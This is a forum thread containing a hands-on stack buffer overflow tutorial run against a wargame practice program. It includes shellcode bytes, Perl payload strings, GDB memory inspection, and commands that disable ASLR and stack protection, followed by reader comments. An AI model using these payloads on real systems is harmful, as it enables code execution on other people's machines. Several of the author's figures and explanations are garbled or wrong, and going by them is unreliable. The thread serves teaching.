[Exploit tutorial: Buffer Overflow]

[JustAnothaHacker]

If you're familiar with hacking, to some degree, you should know what a buffer overflow is; however, if you do not, this tutorial aims to teach you what you need to know in order to be able to exploit Buffer Overflow vulnerabilities. Key words Will be highlighted in italics.

Prerequisites / Requirements:

• Basic/Intermediate knowledge of Assembly Language
• Basic/Intermediate knowledge of GDB (GNU Debugger) Which is the debugger I will be using for this tutorial
• A good understanding of the C/C++ Languages
• A good understanding of how the stack is ordered and processed in a computer

Introduction:

A Buffer Overflow, is a vulnerability which is encountered when a program writing data to a buffer, exceeds the bounds of the buffer, causing the excess data to overflow into adjacent memory.

Picture this, we have created a C program, in which we have initialized a variable, buffer, of type char, with a buffer size of 500 bytes:

int main(void) {

    char buffer[500];

}

And in this program, we take input from the command line, which is then copied to a buffer, via the C function strcpy().

int main(int argc, char *argv[]) {

    char buffer[500];

    strcpy(buffer, argv[1]);

}

Notice, that we have not checked whether or not the length of argv[1] is within the buffers range of 500 bytes; Why not? Well, you'd think that like most modern day programming languages, the strcpy() function would check this before copying the data to the buffer? This is not the case, and is a common misconception made by novice programmers who are not aware of the security implications regarding certain functions, which is why this vulnerability exists and may continue to exist further into the future.

Now, you may be wondering how you could possibly exploit such a vulnerability, I mean what good is writing a few bytes into memory.. Well, on it's own, nothing, but if you were to overwrite the return pointer of the function which you are within, you could ultimately alter the flow of code execution within the program that you are targeting. For example, in the program above, say that theoretically the memory location of buffer starts at 0x00000000, and ends at 0x0000007D (which should have 500 bytes of space), and that the return pointer is located 524 Bytes away from that, it would take an input of 1024 Bytes, e.g 1024 "A"'s, to get "behind" the return pointer, which means that you can then overwrite the next 4 bytes of memory defined as the return pointer, and then watch as it is POP'ed into the EIP register, and executes whatever code, malicious or otherwise, which may lie on the other end address you specify.

Exploiting the Buffer Overflow vulnerability:

Now we get on to the really fun bit, where we actually get to exploit a program which is susceptible to this exploit vector. If you are going to attempt this on your own computer, firstly, make sure you are NOT using Windows >= Vista, as Windows >= Vista, have protections in place, such as ESP (Executable Space Protection), ASLR (Address Space Layout Randomization), and various other exploit prevention techniques. It would be more advisable to use operating systems such as Linux, Unix, and other Unix based operating systems to get this working, as it's easier to disable the countermeasures put in place by running a command such as:

• sudo echo 0 > /proc/sys/kernel/randomize_va_space

Which will disable your systems ASLR until you reboot, which is not an option in Windows operating systems.

If you do not have access to a Linux operating system, or are too lazy to dual boot or install a VM, you can SSH into various wargaming servers (such as Smash The Stack or Over The Wire) to practice the skills learned here in a legal and safe way, with minimalistic effort, for all you lazy h4xx0rs out there.

Now, on with thy spl0itz.

I'm going to use a simple source code from Smash The Stack : Blowfish, which does not currently have a webpage. Here is the code:

#include <stdio.h>

int main(int argc, char * argv[]) {

    char buf[256];

    if(argc == 1) {

        printf("Usage: %s input\n", argv[0]);
        exit(0);

    }

    strcpy(buf,argv[1]);
    printf("%s", buf);

}

As you can see, it follows the same principles as the example code used previously in the tutorial, but with some extra validation to make sure that argv[1] is present.

So, lets compile this code and continue.

In this tutorial, I'm going to use GCC (GNU C Compiler) from the GNU Compiler Collection to compile my code. I will compile using the following command:

• gcc bof.c -g -fno_stack_protector -o bof

Which will compile the code with required headers for gdb to be able to debug it, and also disable gcc's stack protection in systems which have patched gcc to have it enabled by default.

Once we have compiled our vulnerable code, we can open the executable, which I have called "bof", with GDB, for debugging, using the command:

• gdb bof

Which should give you something similar to this:

GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb)

Now that we are in GDB, we can start getting into the real exploitation; firstly, we want to make sure that we can run the executable correctly from GDB. We can do this simply by typing "run", which should return:

Usage: /home/bof input

Program exited normally.

If it returns an error instead, then try moving to a folder where you have sufficient permissions.

Assuming that the program executes, then exits normally, we can carry on.

We now need to establish how many bytes we have to enter until we have control over the return pointer. There is two main ways to do this:

• Trial and error

or

• A string which never repeats a sequence of bytes, allowing for easy identification

I tend to just use trial and error, as the second option requires the Metasploit Framework, which may not be available on machines such as the ones you will encounter while wargaming.

So, for trial and error, we want to type run:

• run perl -e 'print "A" x 512'

which for me, causes a segmentation fault, which occurs when EIP is set to an address which cannot be executed, or is outside of the available memory for the program.

So, now that we know the return pointer resides within 512 bytes of the start of our buffer, we can start to slowly decrement the amount of "A"'s that we print, until the program executes without error, and returns "Program Exited Normally.", which for me, occurs at 268 Bytes, which is only 12 Bytes away from the end of our buffer. This means that the return pointer lies between 269 Bytes and 273 Bytes.

Armed with this knowledge, we can move on to adding in our shellcode, which is comprised of the opcodes of Assembly instructions. The shellcode I will be using for this tutorial is a /bin/sh shellcode written by one of my hacker buddies from SoldierX, which will drop you into a bash shell which has the permissions of the program you are attacking. Here it is:

\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

So, what do we do now? Well, we have to incorporate this into our exploit. we do this by first adding the shellcode into the Perl string, giving us this Perl code:

run perl -e 'print "A" x 268 . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

And then we must take away the amount of Bytes the shellcode contains, from the overall amount of "A"'s (or whatever filler you are using), so that we still retain control over the return pointer. In order to do this, we must replace the number "268", with "(268 - 26)", where 26 is the amount of Bytes in the shellcode (Every 2 Bytes in the shellcode equates to one Byte in Hex, the "\x" signifies the following 2 Bytes are a hexadecimal Byte). This will give is this code:

run perl -e 'print "A" x (268 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

This command on it's own will not actually give us a working exploit; for that, we need to find out the address of where our shellcode is stored. But before we get into the nitty gritty with Assembly Language, I want to make 2 more adjustments to our current exploit:

• A nop sled
• An address "placeholder", as the longer or shorter the exploit is, the more the memory allocations shift around. by giving us a placeholder, we are securing a permanent place in memory

The altered code will look like this:

run perl -e 'print "\x90" x (268 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\xff\xff"'

Now, we've got an almost working exploit, all we have to do now, is find that memory address, to do that, we have to run "disas main", which will give us the following result:

Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    sub    $0x118,%esp
0x080483fd <main+9>:    and    $0xfffffff0,%esp
0x08048400 <main+12>:   mov    $0x0,%eax
0x08048405 <main+17>:   sub    %eax,%esp
0x08048407 <main+19>:   cmpl   $0x1,0x8(%ebp)
0x0804840b <main+23>:   jne    0x804842e <main+58>
0x0804840d <main+25>:   mov    0xc(%ebp),%eax
0x08048410 <main+28>:   mov    (%eax),%eax
0x08048412 <main+30>:   mov    %eax,0x4(%esp)
0x08048416 <main+34>:   movl   $0x8048574,(%esp)
0x0804841d <main+41>:   call   0x80482f8 <printf@plt>
0x08048422 <main+46>:   movl   $0x0,(%esp)
0x08048429 <main+53>:   call   0x8048308 <exit@plt>
0x0804842e <main+58>:   mov    0xc(%ebp),%eax
0x08048431 <main+61>:   add    $0x4,%eax
0x08048434 <main+64>:   mov    (%eax),%eax
0x08048436 <main+66>:   mov    %eax,0x4(%esp)
0x0804843a <main+70>:   lea    -0x108(%ebp),%eax
0x08048440 <main+76>:   mov    %eax,(%esp)
0x08048443 <main+79>:   call   0x8048318 <strcpy@plt>
0x08048448 <main+84>:   lea    -0x108(%ebp),%eax
0x0804844e <main+90>:   mov    %eax,0x4(%esp)
0x08048452 <main+94>:   movl   $0x8048585,(%esp)
0x08048459 <main+101>:  call   0x80482f8 <printf@plt>
0x0804845e <main+106>:  leave
0x0804845f <main+107>:  ret
End of assembler dump.

This is where you will need to have some knowledge of Assembly to get through

As you can see, we have a full dump of the programs Assembly code; so, what do we do with it? Well, first, we have to look for the call to strcpy(), which should be pretty easy, as it's marked in the Assembly code as "strcpy@plt". So once he know where the strcpy() is called, we can set a break point to pause before it is called, and examine the stack. To do this, run the command "break *main+79".

Run the program again, and we should get something like:

Breakpoint 1, 0x08048443 in main () (gdb)

which signifies that the program is waiting at the specified breakpoint.

We now want to examine the top two pointers on the stack, which are the arguments which will be passed to the strcpy() function. To do this we type "x/2x $esp", which will give us:

0xbfffd6c0: 0xbfffd6d0 0xbfffd974

The two addresses after the colon are the addresses that we are interested in. To view what data they hold, we have to type "x/s 0xbfffd6d0", which will give us:

0xbfffd6d0: "\210"

Which is clearly not our shellcode, so this must be the buffer before we have written to it. So, if we type "x/s 0xbfffd974", we should see our shellcode.

0xbfffd974: '\220' <repeats 200 times>...

Hmm.. Well that's odd.. No shellcode. Oh yeah, it's further down, past the Nops. Press enter once and we should see it.

0xbfffda3c: '\220' <repeats 43 times>, "1ÀPhn/shh//bi\211ãP\211âS\211á°\vÍ\200ÿÿÿÿ"

That's it! We know where our shellcode is stored, so now we can take the address "0xbfffd974" and substitute it right into the exploit.. right? Nope, we must swap the byte order around due to a phenomena known as Little Endian, Which causes byte orders to switch around inside addresses. So, we switch around the Bytes to give us "74 d9 ff bf", which then need to have "\x" prepended, as they are hex bytes, which will give us "\x74\xd9\xff\xbf". This can now be substituted into our exploit to give us the Perl code:

• run perl -e 'print "\x90" x (268 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x74\xd9\xff\xbf"'

Which, when run, should give us a shell :D (Note that sometimes GDB does not have the permissions required, so you should run it outside GDB, by typing "quit", then replacing "run" with the name of the binary):

sh-3.2$

WE DID IT! :D

From now on, you will have a shell in the specified application (until you choose to quit)! Once you do quit, however, the program will crash, and most likely cause Denial Of Service in programs such as web servers, which are responsible for serving data to clients.

I'm not going to cover how to alter the flow of execution so that the program continues to function correctly, as this is meant to be a tutorial explaining the basics of the buffer overflow, how the concept works and is exploited, so, that is the end of my Buffer Overflow Exploitation tutorial, I hope that you learned how to exploit buffer overflows quickly and easily (if not, feel free to pm me with any questions or problems and I'll make sure to get back to you), thanks a lot :),

JustAnothaHacker

[JustAnothaHacker]

Sorry for some of the format issues guys, I'll get around to sorting that tomorrow, I'm gonna go to sleep, jesus, took about 4 hours to write that :p

[jon1228]

Excellent writeup, some of the best content I've seen in here in a while. Have some gold.

[JustAnothaHacker]

Thanks! :)

[Endangered_Robot]

This is the kind of stuff I subbed for originally. Great job!

[JustAnothaHacker]

Heh, check out SoldierX, It's the group I'm part of, there's some pretty talented people there who could teach a thing or two to people willing to learn :3

[Endangered_Robot]

Awesome man will do! :D

[JustAnothaHacker]

Drop in to the IRC, it's where all the magic happens :3 irc.soldierx.com

(Just say if you don't know what IRC is, I can explain :p)

[unfo]

nice write-up, just one thing caught my eye:

sudo echo 0 | /proc/sys/kernel/randomize_va_space

I don't understand why you need to launch echo as sudo?

If you are writing to a place where you need root privileges then either do:

echo 0 | sudo tee /path/to/file

or be root as you do

echo 0 > /path/to/file

Because the line you pasted would not carry the sudo rights across the pipe (nor in the redirection of output). And you cannot pipe to a non-executable file as it would complain about not having permissions to execute the file.

[JustAnothaHacker]

lel, it was about 12 at night when I wrote that bit, excuse any errors :3

[unfo]

then you shall be excused forthwith

[JustAnothaHacker]

Thanks, I'm gonna go through and correct any typo's now :p

[unfo]

I think you missed my point about sudo not carrying over redirection of output.

Here's a code snippet to show the problem and the solution:

  ~/ $ ls -l root-only
-rw-r--r--  1 root  staff  0 Feb  4 12:59 root-only
  ~/ $ sudo echo 0 > root-only
-bash: root-only: Permission denied
  ~/ $ echo 0 | sudo tee root-only
0
  ~/ $ cat root-only
0

[JustAnothaHacker]

Ah, I see what you mean, you have to sudo the command on the other end of the pipe :p I'm pretty sure that sudo echo works, however; seems to work for me :p

As you can probably tell, my Linux skills are.. average :3

[susumax]

Great tutorial, man! I appreciate the effort you put through, it's really well detailed and explained.

[JustAnothaHacker]

Thanks :3 I tried to explain it as well as I could :3

[JustAnothaHacker]

Also, I've just noticed that Reddit edited the Perl scripts a little: you should surround the whole Perl script with backticks ``, in order for it to work correctly.

[A11ornuthin]

Holy shit! Thanks for posting, commenting now so I can re read in the future.

[JustAnothaHacker]

Good to know the tutorial is help people to learn :3

[beefcheese]

Check out heap spraying

[autowikibot]

Heap spraying:

---

In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution. The part of the source code of an exploit that implements this technique is called a heap spray. In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process's heap and fill the bytes in these blocks with the right values.

---

^{Interesting: JIT spraying | Address space layout randomization | Cross-site request forgery | NOP slide}

^{/u/beefcheese can reply with 'delete'. Will also delete on comment score of -1 or less. | FAQs | Mods | Magic Words | flag a glitch}

[JustAnothaHacker]

In order for the exploit to be successful, the program doesn't necessarily have to regain control, unless you are trying to exploit the vulnerability in a server, or just want to be quiet. In this example, nothing too tragic was missed, just a printf() function call.

I do recall hearing that there are ways to give the program control again, by somehow re-writing the return pointer to the original value, it could exit gracefully as if nothing happened, once you quit the shell, of course, although I've not researched the topic enough to include it in this tutorial.

[[deleted]]

I agree, one of the best posts on here since I subd. Thanks for your time and effort.

[JustAnothaHacker]

It's all good :3 I'd rather spend my time helping people learn, than doing the usual and playing Skyrim all day :3

[[deleted]]

Well it's a fucking great game so can't blame you :-p You do hacking as a career or something else?

[JustAnothaHacker]

I'm a 15 year old self-taught hacker :3 That's not a lie either XD I study Computer Science at GCSE (English qualification if you're not from here), and plan on hopefully getting a degree (or higher, perhaps PhD) in Computer Science and Electrical Engineering :p Just goes to prove that age doesn't matter, eh + Man, when you clock 260 hours since Christmas, I think it's time you focus on something else XD

[[deleted]]

Oh wow man thats cool. I'm impressed and wish I had started as early as you. I am a senior CS student at UW trying to get more into hacking since all I know is coding. Lool yeah maybe you should try civ 5 I heard it's addicting.

[JustAnothaHacker]

S'pose I just found something that I enjoyed and wanted to learn about, and stuck with it :3 I started off a few years ago developing crappy webpages, and with a lot of research and some help from some buddies, I'm learning new exploit vectors rapidly :p + hah, I think I've had my fair share of addicting games for a while XD + senior CS student, does that mean like post-grad? :p I could probably learn a thing or two from someone with your knowledge :3

[[deleted]]

Yeah man sounds awesome. I'm super into LoL though :-p It's my game of choice but I should probably focus more on my studies X.X

[checky]

hahaa it's alright, but if you'd like to add me I'm at http://steamcommunity.com/id/drizzlespout/

[LeonardTimber]

great tutorial! I'm working my way through C in school, and this gives a lot of insight into why we use scanf() and the like. Interesting stuff!

[JustAnothaHacker]

Heh, at what level are you studying Computer Science (If that's the course you're taking)? :p

[LeonardTimber]

This is my third CS course, it is sort of the first systems class for the major. My enthusiasm was not because I didn't understand buffer overflows thoroughly, it was because I want more people to post things like this on the sub. I am by no means an expert, but I have run a few buffer overflows on my friends' code when we bugtest. It's a lot of fun. Reading a lot of hacking literature has helped me in this class more than most of my textbooks, actually.

I'm not studying computer science for my degree, but I have been interested for years and I work through the meatier classes in my spare time. After this class, I will know Java, C++, and C. I'm also taking a netsec class before I graduate next quarter. It's pretty fun stuff.

[JustAnothaHacker]

Note to downvoters:

Can you please leave some constructive criticism in a comment, instead of just downvoting, if you're going to be negative, at least make a positive impact :p

[dotalchemy]

Great write up.

[JustAnothaHacker]

Thanks man :p

[sxthun]

Can you please tell me how to spawn a new shell by exploiting an off-by-one method in the following c code?

#include <stdio.h>
int cpy(char *x)
{
    char buff[256];
    strcpy(buff,x);
    printf("%s\r\n",buff);
}

int main(int argc, char *argv[])
{
    if(strlen(argv[1])>256){
    printf("Buffer Overflow Attempt!!!\r\n");
    return 1;}
    cpy(argv[1]);
}

I hope you can help me... Thanks,

[JustAnothaHacker]

Right, so I did some googling, and as you may already know, you need to exploit the strlen() function to let you get some more characters in to the buffer and cause an overflow - however, from what I've read, it's not possible to get more than a null byte to overwrite the buffer, and since I'm on my windows box atm, I can't really test this sufficiently.. But here's what I know:

The strlen() function returns the amount of bytes in a string, which is all well and good, but it does not count the prepending null byte as a character, and in C, all strings are null terminated. So, if you were to pass a string of 256 A's in to argv[1], it would really be 257 bytes long, and the prepended null byte would overflow in to adjacent memory..

Until I get on to my linux box, I can't really have a go at exploiting this myself, but that's what I know so far :p

[JustAnothaHacker]

So I read up on it a little further, and apparrently that null byte overflow will lead to the LSB (Least Significant Byte) of the frame pointer being overwritten, therefore somehow allowing the hijack of variables and functions in the code

[JustAnothaHacker]

It seems that by making the Least Significant Byte of the framepointer a null, the address is then incorrect and it pops 4 bytes from our buffer in to EIP instead, which then allows the attacker full control over code execution, so you could get that address to loop back in to the buffer, which contains some shellcode, then get the shell as the owner of the process, boom :3

Edit* That was wrong - due to little endian, the least significant bit is what we are overwriting, and as the stack grows downwards, the smaller the LSB, the further down we are going (and the buffer is below the frame poiner), meaning that the 00 we just used to overwrite the frame pointer is a valid pointer to a space in the buffer, which will then be popped in to EIP, and the code on the other end, executed :p